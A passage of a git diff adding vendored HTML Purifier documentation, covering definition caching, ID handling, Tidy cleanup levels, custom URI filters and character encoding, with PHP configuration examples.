        + Perceptive users may have realized that, to a certain extent, we + have simply re-implemented the facilities of XML Schema or the + Document Type Definition. What you are seeing here, however, is + not just an XML Schema or Document Type Definition: it is a fully + expressive method of specifying the definition of HTML that is + a portable superset of the capabilities of the two above-mentioned schema + languages. What makes HTMLDefinition so powerful is the fact that + if we don't have an implementation for a content model or an attribute + definition, you can supply it yourself by writing a PHP class. +

        + +

        + There are many facets of HTMLDefinition beyond the Advanced API I have + walked you through today. To find out more about these, you can + check out these source files: +

        + + + +

        Notes for HTML Purifier 4.2.0 and earlier

        + +

        + Previously, this tutorial gave some incorrect template code for + editing raw definitions, and that template code will now produce the + error Due to a documentation error in previous version of HTML + Purifier... Here is how to mechanically transform old-style + code into new-style code. +

        + +

        + First, identify all code that edits the raw definition object, and + put it together. Ensure none of this code must be run on every + request; if some sub-part needs to always be run, move it outside + this block. Here is an example below, with the raw definition + object code bolded. +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +$def = $config->getHTMLDefinition(true);
        +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
        +$purifier = new HTMLPurifier($config);
        + +

        + Next, replace the raw definition retrieval with a + maybeGetRawHTMLDefinition method call inside an if conditional, and + place the editing code inside that if block. +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +if ($def = $config->maybeGetRawHTMLDefinition()) {
        +    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
        +}
        +$purifier = new HTMLPurifier($config);
        + +

        + And you're done! Alternatively, if you're OK with not ever caching + your code, the following will still work and not emit warnings. +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$def = $config->getHTMLDefinition(true);
        +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
        +$purifier = new HTMLPurifier($config);
        + +

        + A slightly less efficient version of this was what was going on with + old versions of HTML Purifier. +

        + +

        + Technical notes: ajh pointed out on in a forum topic that + HTML Purifier appeared to be repeatedly writing to the cache even + when a cache entry already existed. Investigation lead to the + discovery of the following infelicity: caching of customized + definitions didn't actually work! The problem was that even though + a cache file would be written out at the end of the process, there + was no way for HTML Purifier to say, Actually, I've already got a + copy of your work, no need to reconfigure your + customizations. This required the API to change: placing + all of the customizations to the raw definition object in a + conditional which could be skipped. +

        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-id.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-id.html new file mode 100644 index 00000000..53d2da24 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-id.html @@ -0,0 +1,148 @@ + + + + + + + +IDs - HTML Purifier + + + +

        IDs

        +
        What they are, why you should(n't) wear them, and how to deal with it
        + +
        Filed under End-User
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        Prior to HTML Purifier 1.2.0, this library blithely accepted user input that +looked like this:

        + +
        <a id="fragment">Anchor</a>
        + +

        ...presenting an attractive vector for those that would destroy standards +compliance: simply set the ID to one that is already used elsewhere in the +document and voila: validation breaks. There was a half-hearted attempt to +prevent this by allowing users to blacklist IDs, but I suspect that no one +really bothered, and thus, with the release of 1.2.0, IDs are now removed +by default.

        + +

        IDs, however, are quite useful functionality to have, so if users start +complaining about broken anchors you'll probably want to turn them back on +with %Attr.EnableID. But before you go mucking around with the config +object, it's probably worth to take some precautions to keep your page +validating. Why?

        + +
          +
        1. Standards-compliant pages are good
        2. +
        3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a + document, which spot does a browser presented with the fragment #foobar go + to? Most browsers opt for the first appearing ID, making it impossible + to references the second section. Similarly, duplicated IDs can hijack + client-side scripting that relies on the IDs of elements.
        4. +
        + +

        You have (currently) four ways of dealing with the problem.

        + + + +

        Blacklisting IDs

        +
        Good for pages with single content source and stable templates
        + +

        Keeping in terms with the +KISS principle, let us +deal with the most obvious solution: preventing users from using any IDs that +appear elsewhere on the document. The method is simple:

        + +
        $config->set('Attr.EnableID', true);
        +$config->set('Attr.IDBlacklist' array(
        +    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
        +));
        + +

        That being said, there are some notable drawbacks. First of all, you have to +know precisely which IDs are being used by the HTML surrounding the user code. +This is easier said than done: quite often the page designer and the system +coder work separately, so the designer has to constantly be talking with the +coder whenever he decides to add a new anchor. Miss one and you open yourself +to possible standards-compliance issues.

        + +

        Furthermore, this position becomes untenable when a single web page must hold +multiple portions of user-submitted content. Since there's obviously no way +to find out before-hand what IDs users will use, the blacklist is helpless. +And since HTML Purifier validates each segment separately, perhaps doing +so at different times, it would be extremely difficult to dynamically update +the blacklist in between runs.

        + +

        Finally, simply destroying the ID is extremely un-userfriendly behavior: after +all, they might have simply specified a duplicate ID by accident.

        + +

        Thus, we get to our second method.

        + + + +

        Namespacing IDs

        +
        Lazy developer's way, but needs user education
        + +

        This method, too, is quite simple: add a prefix to all user IDs. With this +code:

        + +
        $config->set('Attr.EnableID', true);
        +$config->set('Attr.IDPrefix', 'user_');
        + +

        ...this:

        + +
        <a id="foobar">Anchor!</a>
        + +

        ...turns into:

        + +
        <a id="user_foobar">Anchor!</a>
        + +

        As long as you don't have any IDs that start with user_, collisions are +guaranteed not to happen. The drawback is obvious: if a user submits +id="foobar", they probably expect to be able to reference their page with +#foobar. You'll have to tell them, "No, that doesn't work, you have to add +user_ to the beginning."

        + +

        And yes, things get hairier. Even with a nice prefix, we still have done +nothing about multiple HTML Purifier outputs on one page. Thus, we have +a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

        + +
        $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
        + +

        This new attributes does nothing but append on to regular IDPrefix, but is +special in that it is volatile: it's value is determined at run-time and +cannot possibly be cordoned into, say, a .ini config file. As for what to +put into the directive, is up to you, but I would recommend the ID number +the text has been assigned in the database. Whatever you pick, however, it +has to be unique and stable for the text you are validating. Note, however, +that we require that %Attr.IDPrefix be set before you use this directive.

        + +

        And also remember: the user has to know what this prefix is too!

        + + + +

        Abstinence

        + +

        You may not want to bother. That's okay too, just don't enable IDs.

        + +

        Personally, I would take this road whenever user-submitted content would be +possibly be shown together on one page. Why a blog comment would need to use +anchors is beyond me.

        + + + +

        Denial

        + +

        To revert back to pre-1.2.0 behavior, simply:

        + +
        $config->set('Attr.EnableID', true);
        + +

        Don't come crying to me when your page mysteriously stops validating, though.

        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt new file mode 100644 index 00000000..fe7f8705 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt @@ -0,0 +1,59 @@ + +HTML Purifier + by Edward Z. Yang + +There are a number of ad hoc HTML filtering solutions out there on the web +(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that +claim to filter HTML properly, preventing malicious JavaScript and layout +breaking HTML from getting through the parser. None of them, however, +demonstrates a thorough knowledge of neither the DTD that defines the HTML +nor the caveats of HTML that cannot be expressed by a DTD. Configurable +filters (such as kses or PHP's built-in striptags() function) have trouble +validating the contents of attributes and can be subject to security attacks +due to poor configuration. Other filters take the naive approach of +blacklisting known threats and tags, failing to account for the introduction +of new technologies, new tags, new attributes or quirky browser behavior. + +However, HTML Purifier takes a different approach, one that doesn't use +specification-ignorant regexes or narrow blacklists. HTML Purifier will +decompose the whole document into tokens, and rigorously process the tokens by: +removing non-whitelisted elements, transforming bad practice tags like +into , properly checking the nesting of tags and their children and +validating all attributes according to their RFCs. + +To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, +which allows an amazingly diverse mix of HTML and wikitext in its documents, +gets all the nesting quirks right. Existing solutions hope that no JavaScript +will slip through, but either do not attempt to ensure that the resulting +output is valid XHTML or send the HTML through a draconic XML parser (and yet +still get the nesting wrong: SafeHtmlChecker.class.php does not prevent +tags from being nested within each other). + +This document no longer is a detailed description of how HTMLPurifier works, +as those descriptions have been moved to the appropriate code. The first +draft was drawn up after two rough code sketches and the implementation of a +forgiving lexer. You may also be interested in the unit tests located in the +tests/ folder, which provide a living document on how exactly the filter deals +with malformed input. + +In summary (see corresponding classes for more details): + +1. Parse document into an array of tag and text tokens (Lexer) +2. Remove all elements not on whitelist and transform certain other elements + into acceptable forms (i.e. ) +3. Make document well formed while helpfully taking into account certain quirks, + such as the fact that

        tags traditionally are closed by other block-level + elements. +4. Run through all nodes and check children for proper order (especially + important for tables). +5. Validate attributes according to more restrictive definitions based on the + RFCs. +6. Translate back into a string. (Generator) + +HTML Purifier is best suited for documents that require a rich array of +HTML tags. Things like blog comments are, in all likelihood, most appropriately +written in an extremely restrictive set of markup that doesn't require +all this functionality (or not written in HTML at all), although this may +be changing in the future with the addition of levels of filtering. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-security.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-security.txt new file mode 100644 index 00000000..518f092b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-security.txt @@ -0,0 +1,18 @@ + +Security + +Like anything that claims to afford security, HTML_Purifier can be circumvented +through negligence of people. This class will do its job: no more, no less, +and it's up to you to provide it the proper information and proper context +to be effective. Things to remember: + +1. Character Encoding: see enduser-utf8.html for more info. + +2. IDs: see enduser-id.html for more info + +3. URIs: see enduser-uri-filter.html + +4. CSS: document pending +Explain which CSS styles we blocked and why. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-slow.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-slow.html new file mode 100644 index 00000000..f0ea02de --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-slow.html @@ -0,0 +1,120 @@ + + + + + + + +Speeding up HTML Purifier - HTML Purifier + + + +

        Speeding up HTML Purifier

        +
        ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
        + +
        Filed under End-User
        +
        +
        HTML Purifier End-User Documentation
        + +

        HTML Purifier is a very powerful library. But with power comes great +responsibility, in the form of longer execution times. Remember, this +library isn't lightly grazing over submitted HTML: it's deconstructing +the whole thing, rigorously checking the parts, and then putting it back +together.

        + +

        So, if it so turns out that HTML Purifier is kinda too slow for outbound +filtering, you've got a few options:

        + +

        Inbound filtering

        + +

        Perform filtering of HTML when it's submitted by the user. Since the +user is already submitting something, an extra half a second tacked on +to the load time probably isn't going to be that huge of a problem. +Then, displaying the content is a simple a manner of outputting it +directly from your database/filesystem. The trouble with this method is +that your user loses the original text, and when doing edits, will be +handling the filtered text. While this may be a good thing, especially +if you're using a WYSIWYG editor, it can also result in data-loss if a +user makes a typo.

        + +

        Example (non-functional):

        + +
        <?php
        +    /**
        +     * FORM SUBMISSION PAGE
        +     * display_error($message) : displays nice error page with message
        +     * display_success() : displays a nice success page
        +     * display_form() : displays the HTML submission form
        +     * database_insert($html) : inserts data into database as new row
        +     */
        +    if (!empty($_POST)) {
        +        require_once '/path/to/library/HTMLPurifier.auto.php';
        +        require_once 'HTMLPurifier.func.php';
        +        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
        +        if (!$dirty_html) {
        +            display_error('You must write some HTML!');
        +        }
        +        $html = HTMLPurifier($dirty_html);
        +        database_insert($html);
        +        display_success();
        +        // notice that $dirty_html is *not* saved
        +    } else {
        +        display_form();
        +    }
        +?>
        + +

        Caching the filtered output

        + +

        Accept the submitted text and put it unaltered into the database, but +then also generate a filtered version and stash that in the database. +Serve the filtered version to readers, and the unaltered version to +editors. If need be, you can invalidate the cache and have the cached +filtered version be regenerated on the first page view. Pros? Full data +retention. Cons? It's more complicated, and opens other editors up to +XSS if they are using a WYSIWYG editor (to fix that, they'd have to be +able to get their hands on the *really* original text served in +plaintext mode).

        + +

        Example (non-functional):

        + +
        <?php
        +    /**
        +     * VIEW PAGE
        +     * display_error($message) : displays nice error page with message
        +     * cache_get($id) : retrieves HTML from fast cache (db or file)
        +     * cache_insert($id, $html) : inserts good HTML into cache system
        +     * database_get($id) : retrieves raw HTML from database
        +     */
        +    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
        +    if (!$id) {
        +        display_error('Must specify ID.');
        +        exit;
        +    }
        +    $html = cache_get($id); // filesystem or database
        +    if ($html === false) {
        +        // cache didn't have the HTML, generate it
        +        $raw_html = database_get($id);
        +        require_once '/path/to/library/HTMLPurifier.auto.php';
        +        require_once 'HTMLPurifier.func.php';
        +        $html = HTMLPurifier($raw_html);
        +        cache_insert($id, $html);
        +    }
        +    echo $html;
        +?>
        + +

        Summary

        + +

        In short, inbound filtering is the simple option and caching is the +robust option (albeit with bigger storage requirements).

        + +

        There is a third option, independent of the two we've discussed: profile +and optimize HTMLPurifier yourself. Be sure to report back your results +if you decide to do that! Especially if you port HTML Purifier to C++. +;-)

        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html new file mode 100644 index 00000000..a243f7fc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html @@ -0,0 +1,231 @@ + + + + + + + +Tidy - HTML Purifier + + + +

        Tidy

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        You've probably heard of HTML Tidy, Dave Raggett's little piece +of software that cleans up poorly written HTML. Let me say it straight +out:

        + +

        This ain't HTML Tidy!

        + +

        Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier +that allows users to submit deprecated elements and attributes and get +valid strict markup back. For example:

        + +
        <center>Centered</center>
        + +

        ...becomes:

        + +
        <div style="text-align:center;">Centered</div>
        + +

        ...when this particular fix is run on the HTML. This tutorial will give +you the lowdown of what exactly HTML Purifier will do when Tidy +is on, and how to fine-tune this behavior. Once again, you do +not need Tidy installed on your PHP to use these features!

        + +

        What does it do?

        + +

        Tidy will do several things to your HTML:

        + +
          +
        • Convert deprecated elements and attributes to standards-compliant + alternatives
        • +
        • Enforce XHTML compatibility guidelines and other best practices
        • +
        • Preserve data that would normally be removed as per W3C
        • +
        + +

        What are levels?

        + +

        Levels describe how aggressive the Tidy module should be when +cleaning up HTML. There are four levels to pick: none, light, medium +and heavy. Each of these levels has a well-defined set of behavior +associated with it, although it may change depending on your doctype.

        + +
        +
        light
        +
        This is the lenient level. If a tag or attribute + is about to be removed because it isn't supported by the + doctype, Tidy will step in and change into an alternative that + is supported.
        +
        medium
        +
        This is the correctional level. At this level, + all the functions of light are performed, as well as some extra, + non-essential best practices enforcement. Changes made on this + level are very benign and are unlikely to cause problems.
        +
        heavy
        +
        This is the aggressive level. If a tag or + attribute is deprecated, it will be converted into a non-deprecated + version, no ifs ands or buts.
        +
        + +

        By default, Tidy operates on the medium level. You can +change the level of cleaning by setting the %HTML.TidyLevel configuration +directive:

        + +
        $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
        + +

        Is the light level really light?

        + +

        It depends on what doctype you're using. If your documents are HTML +4.01 Transitional, HTML Purifier will be lazy +and won't clean up your center +or font tags. But if you're using HTML 4.01 Strict, +HTML Purifier has no choice: it has to convert them, or they will +be nuked out of existence. So while light on Transitional will result +in little to no changes, light on Strict will still result in quite +a lot of fixes.

        + +

        This is different behavior from 1.6 or before, where deprecated +tags in transitional documents would +always be cleaned up regardless. This is also better behavior.

        + +

        My pages look different!

        + +

        HTML Purifier is tasked with converting deprecated tags and +attributes to standards-compliant alternatives, which usually +need copious amounts of CSS. It's also not foolproof: sometimes +things do get lost in the translation. This is why when HTML Purifier +can get away with not doing cleaning, it won't; this is why +the default value is medium and not heavy.

        + +

        Fortunately, only a few attributes have problems with the switch +over. They are described below:

        + + + + + + + + + + + + + + + + + + + + + + + + +
        Element@AttrChanges
        caption@alignFirefox supports stuffing the caption on the + left and right side of the table, a feature that + Internet Explorer, understandably, does not have. + When align equals right or left, the text will simply + be aligned on the left or right side.
        img@alignThe implementation for align bottom is good, but not + perfect. There are a few pixel differences.
        br@clearClear both gets a little wonky in Internet Explorer. Haven't + really been able to figure out why.
        hr@noshadeAll browsers implement this slightly differently: we've + chosen to make noshade horizontal rules gray.
        + +

        There are a few more minor, although irritating, bugs. +Some older browsers support deprecated attributes, +but not CSS. Transformed elements and attributes will look unstyled +to said browsers. Also, CSS precedence is slightly different for +inline styles versus presentational markup. In increasing precedence:

        + +
          +
        1. Presentational attributes
        2. +
        3. External style sheets
        4. +
        5. Inline styling
        6. +
        + +

        This means that styling that may have been masked by external CSS +declarations will start showing up (a good thing, perhaps). Finally, +if you've turned off the style attribute, almost all of +these transformations will not work. Sorry mates.

        + +

        You can review the rendering before and after of these transformations +by consulting the attrTransform.php +smoketest.

        + +

        I like the general idea, but the specifics bug me!

        + +

        So you want HTML Purifier to clean up your HTML, but you're not +so happy about the br@clear implementation. That's perfectly fine! +HTML Purifier will make accomodations:

        + +
        $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
        +$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
        +$config->set('HTML.TidyRemove', 'br@clear');
        + +

        That third line does the magic, removing the br@clear fix +from the module, ensuring that <br clear="both" /> +will pass through unharmed. The reverse is possible too:

        + +
        $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
        +$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
        +$config->set('HTML.TidyAdd', 'p@align');
        + +

        In this case, all transformations are shut off, except for the p@align +one, which you found handy.

        + +

        To find out what the names of fixes you want to turn on or off are, +you'll have to consult the source code, specifically the files in +HTMLPurifier/HTMLModule/Tidy/. There is, however, a +general syntax:

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        NameExampleInterpretation
        elementfontTag transform for element
        element@attrbr@clearAttribute transform for attr on element
        @attr@langGlobal attribute transform for attr
        e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
        + +

        So... what's the lowdown?

        + +

        The lowdown is, quite frankly, HTML Purifier's default settings are +probably good enough. The next step is to bump the level up to heavy, +and if that still doesn't satisfy your appetite, do some fine-tuning. +Other than that, don't worry about it: this all works silently and +effectively in the background.

        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html new file mode 100644 index 00000000..d1b3354a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html @@ -0,0 +1,204 @@ + + + + + + + +URI Filters - HTML Purifier + + + +

        URI Filters

        + +
        Filed under End-User
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        + This is a quick and dirty document to get you on your way to writing + custom URI filters for your own URL filtering needs. Why would you + want to write a URI filter? If you need URIs your users put into + HTML to magically change into a different URI, this is + exactly what you need! +

        + +

        Creating the class

        + +

        + Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. + The scaffolding is thus: +

        + +
        class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
        +{
        +    public $name = 'NameOfFilter';
        +    public function prepare($config) {}
        +    public function filter(&$uri, $config, $context) {}
        +}
        + +

        + Fill in the variable $name with the name of your filter, and + take a look at the two methods. prepare() is an initialization + method that is called only once, before any filtering has been done of the + HTML. Use it to perform any costly setup work that only needs to be done + once. filter() is the guts and innards of our filter: + it takes the URI and does whatever needs to be done to it. +

        + +

        + If you've worked with HTML Purifier, you'll recognize the $config + and $context parameters. On the other hand, $uri + is something unique to this section of the application: it's a + HTMLPurifier_URI object. The interface is thus: +

        + +
        class HTMLPurifier_URI
        +{
        +    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
        +    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
        +    public function toString();
        +    public function copy();
        +    public function getSchemeObj($config, $context);
        +    public function validate($config, $context);
        +}
        + +

        + The first three methods are fairly self-explanatory: you have a constructor, + a serializer, and a cloner. Generally, you won't be using them when + you are manipulating the URI objects themselves. + getSchemeObj() is a special purpose method that returns + a HTMLPurifier_URIScheme object corresponding to the specific + URI at hand. validate() performs general-purpose validation + on the internal components of a URI. Once again, you don't need to + worry about these: they've already been handled for you. +

        + +

        URI format

        + +

        + As a URIFilter, we're interested in the member variables of the URI object. +

        + + + + + + + + + +
        Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
        Userinfo User information such as a username (bob)
        Host Domain name or IP address of the server (example.com, 127.0.0.1)
        Port Network port number for the server (80, 12345)
        Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
        Query String of information to be interpreted by the resource (?q=search-term)
        Fragment Additional information for the resource after retrieval (#bookmark)
        + +

        + Because the URI is presented to us in this form, and not + http://bob@example.com:8080/foo.php?q=string#hash, it saves us + a lot of trouble in having to parse the URI every time we want to filter + it. For the record, the above URI has the following components: +

        + + + + + + + + + +
        Scheme http
        Userinfo bob
        Host example.com
        Port 8080
        Path /foo.php
        Query q=string
        Fragment hash
        + +

        + Note that there is no question mark or octothorpe in the query or + fragment: these get removed during parsing. +

        + +

        + With this information, you can get straight to implementing your + filter() method. But one more thing... +

        + +

        Return value: Boolean, not URI

        + +

        + You may have noticed that the URI is being passed in by reference. + This means that whatever changes you make to it, those changes will + be reflected in the URI object the callee had. Do not + return the URI object: it is unnecessary and will cause bugs. + Instead, return a boolean value, true if the filtering was successful, + or false if the URI is beyond repair and needs to be axed. +

        + +

        + Let's suppose I wanted to write a filter that converted links with a + custom image scheme to its corresponding real path on + our website: +

        + +
        class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
        +{
        +    public $name = 'TransformImageScheme';
        +    public function filter(&$uri, $config, $context) {
        +        if ($uri->scheme !== 'image') return true;
        +        $img_name = $uri->path;
        +        // Overwrite the previous URI object
        +        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
        +        return true;
        +    }
        +}
        + +

        + Notice I did not return $uri;. This filter would turn + image:Foo into /img/Foo.png. +

        + +

        Activating your filter

        + +

        + Having a filter is all well and good, but you need to tell HTML Purifier + to use it. Fortunately, this part's simple: +

        + +
        $uri = $config->getDefinition('URI');
        +$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
        + +

        + After adding a filter, you won't be able to set configuration directives. + Structure your code accordingly. +

        + + + +

        Post-filter

        + +

        + Remember our TransformImageScheme filter? That filter acted before we had + performed scheme validation; otherwise, the URI would have been filtered + out when it was discovered that there was no image scheme. Well, a post-filter + is run after scheme specific validation, so it's ideal for bulk + post-processing of URIs, including munging. To specify a URI as a post-filter, + set the $post member variable to TRUE. +

        + +
        class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
        +{
        +    public $name = 'MyPostFilter';
        +    public $post = true;
        +    // ... extra code here
        +}
        +
        + +

        Examples

        + +

        + Check the + URIFilter + directory for more implementation examples, and see the + new directives proposal document for ideas on what could be implemented + as a filter. +

        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html new file mode 100644 index 00000000..9b01a302 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html @@ -0,0 +1,1060 @@ + + + + + + + + +UTF-8: The Secret of Character Encoding - HTML Purifier + + + + + +

        UTF-8: The Secret of Character Encoding

        + +
        Filed under End-User
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        Character encoding and character sets are not that +difficult to understand, but so many people blithely stumble +through the worlds of programming without knowing what to actually +do about it, or say "Ah, it's a job for those internationalization +experts." No, it is not! This document will walk you through +determining the encoding of your system and how you should handle +this information. It will stay away from excessive discussion on +the internals of character encoding.

        + +

        This document is not designed to be read in its entirety: it will +slowly introduce concepts that build on each other: you need not get to +the bottom to have learned something new. However, I strongly +recommend you read all the way to Why UTF-8?, because at least +at that point you'd have made a conscious decision not to migrate, +which can be a rewarding (but difficult) task.

        + +
        +
        Asides
        +

        Text in this formatting is an aside, + interesting tidbits for the curious but not strictly necessary material to + do the tutorial. If you read this text, you'll come out + with a greater understanding of the underlying issues.

        +
        + +

        Table of Contents

        + +
          +
        1. Finding the real encoding
        2. +
        3. Finding the embedded encoding
        4. +
        5. Fixing the encoding
            +
          1. No embedded encoding
          2. +
          3. Embedded encoding disagrees
          4. +
          5. Changing the server encoding
              +
            1. PHP header() function
            2. +
            3. PHP ini directive
            4. +
            5. Non-PHP
            6. +
            7. .htaccess
            8. +
            9. File extensions
            10. +
          6. +
          7. XML
          8. +
          9. Inside the process
          10. +
        6. +
        7. Why UTF-8?
            +
          1. Internationalization
          2. +
          3. User-friendly
          4. +
          5. Forms
              +
            1. application/x-www-form-urlencoded
            2. +
            3. multipart/form-data
            4. +
          6. +
          7. Well supported
          8. +
          9. HTML Purifiers
          10. +
        8. +
        9. Migrate to UTF-8
            +
          1. Configuring your database
              +
            1. Legit method
            2. +
            3. Binary
            4. +
          2. +
          3. Text editor
          4. +
          5. Byte Order Mark (headers already sent!)
          6. +
          7. Fonts
              +
            1. Obscure scripts
            2. +
            3. Occasional use
            4. +
          8. +
          9. Dealing with variable width in functions
          10. +
        10. +
        11. Further Reading
        12. +
        + +

        Finding the real encoding

        + +

        In the beginning, there was ASCII, and things were simple. But they +weren't good, for no one could write in Cyrillic or Thai. So there +exploded a proliferation of character encodings to remedy the problem +by extending the characters ASCII could express. This ridiculously +simplified version of the history of character encodings shows us that +there are now many character encodings floating around.

        + +
        +

        A character encoding tells the computer how to + interpret raw zeroes and ones into real characters. It + usually does this by pairing numbers with characters.

        +

        There are many different types of character encodings floating + around, but the ones we deal most frequently with are ASCII, + 8-bit encodings, and Unicode-based encodings.

        +
          +
        • ASCII is a 7-bit encoding based on the + English alphabet.
        • +
        • 8-bit encodings are extensions to ASCII + that add a potpourri of useful, non-standard characters + like é and æ. They can only add 127 characters, + so usually only support one script at a time. When you + see a page on the web, chances are it's encoded in one + of these encodings.
        • +
        • Unicode-based encodings implement the + Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. + They go beyond 8-bits and support almost + every language in the world. UTF-8 is gaining traction + as the dominant international encoding of the web.
        • +
        +
        + +

        The first step of our journey is to find out what the encoding of +your website is. The most reliable way is to ask your +browser:

        + +
        +
        Mozilla Firefox
        +
        Tools > Page Info: Encoding
        +
        Internet Explorer
        +
        View > Encoding: bulleted item is unofficial name
        +
        + +

        Internet Explorer won't give you the MIME (i.e. useful/real) name of the +character encoding, so you'll have to look it up using their description. +Some common ones:

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        IE's DescriptionMime Name
        Windows
        Arabic (Windows)Windows-1256
        Baltic (Windows)Windows-1257
        Central European (Windows)Windows-1250
        Cyrillic (Windows)Windows-1251
        Greek (Windows)Windows-1253
        Hebrew (Windows)Windows-1255
        Thai (Windows)TIS-620
        Turkish (Windows)Windows-1254
        Vietnamese (Windows)Windows-1258
        Western European (Windows)Windows-1252
        ISO
        Arabic (ISO)ISO-8859-6
        Baltic (ISO)ISO-8859-4
        Central European (ISO)ISO-8859-2
        Cyrillic (ISO)ISO-8859-5
        Estonian (ISO)ISO-8859-13
        Greek (ISO)ISO-8859-7
        Hebrew (ISO-Logical)ISO-8859-8-l
        Hebrew (ISO-Visual)ISO-8859-8
        Latin 9 (ISO)ISO-8859-15
        Turkish (ISO)ISO-8859-9
        Western European (ISO)ISO-8859-1
        Other
        Chinese Simplified (GB18030)GB18030
        Chinese Simplified (GB2312)GB2312
        Chinese Simplified (HZ)HZ
        Chinese Traditional (Big5)Big5
        Japanese (Shift-JIS)Shift_JIS
        Japanese (EUC)EUC-JP
        KoreanEUC-KR
        Unicode (UTF-8)UTF-8
        + +

        Internet Explorer does not recognize some of the more obscure +character encodings, and having to lookup the real names with a table +is a pain, so I recommend using Mozilla Firefox to find out your +character encoding.

        + +

        Finding the embedded encoding

        + +

        At this point, you may be asking, "Didn't we already find out our +encoding?" Well, as it turns out, there are multiple places where +a web developer can specify a character encoding, and one such place +is in a META tag:

        + +
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        + +

        You'll find this in the HEAD section of an HTML document. +The text to the right of charset= is the "claimed" +encoding: the HTML claims to be this encoding, but whether or not this +is actually the case depends on other factors. For now, take note +if your META tag claims that either:

        + +
          +
        1. The character encoding is the same as the one reported by the + browser,
        2. +
        3. The character encoding is different from the browser's, or
        4. +
        5. There is no META tag at all! (horror, horror!)
        6. +
        + +

        Fixing the encoding

        + +

        The advice given here is for pages being served as +vanilla text/html. Different practices must be used +for application/xml or application/xml+xhtml, see +W3C's +document on XHTML media types for more information.

        + +

        If your META encoding and your real encoding match, +savvy! You can skip this section. If they don't...

        + +

        No embedded encoding

        + +

        If this is the case, you'll want to add in the appropriate +META tag to your website. It's as simple as copy-pasting +the code snippet above and replacing UTF-8 with whatever is the mime name +of your real encoding.

        + +
        +

        For all those skeptics out there, there is a very good reason + why the character encoding should be explicitly stated. When the + browser isn't told what the character encoding of a text is, it + has to guess: and sometimes the guess is wrong. Hackers can manipulate + this guess in order to slip XSS past filters and then fool the + browser into executing it as active code. A great example of this + is the Google UTF-7 + exploit.

        +

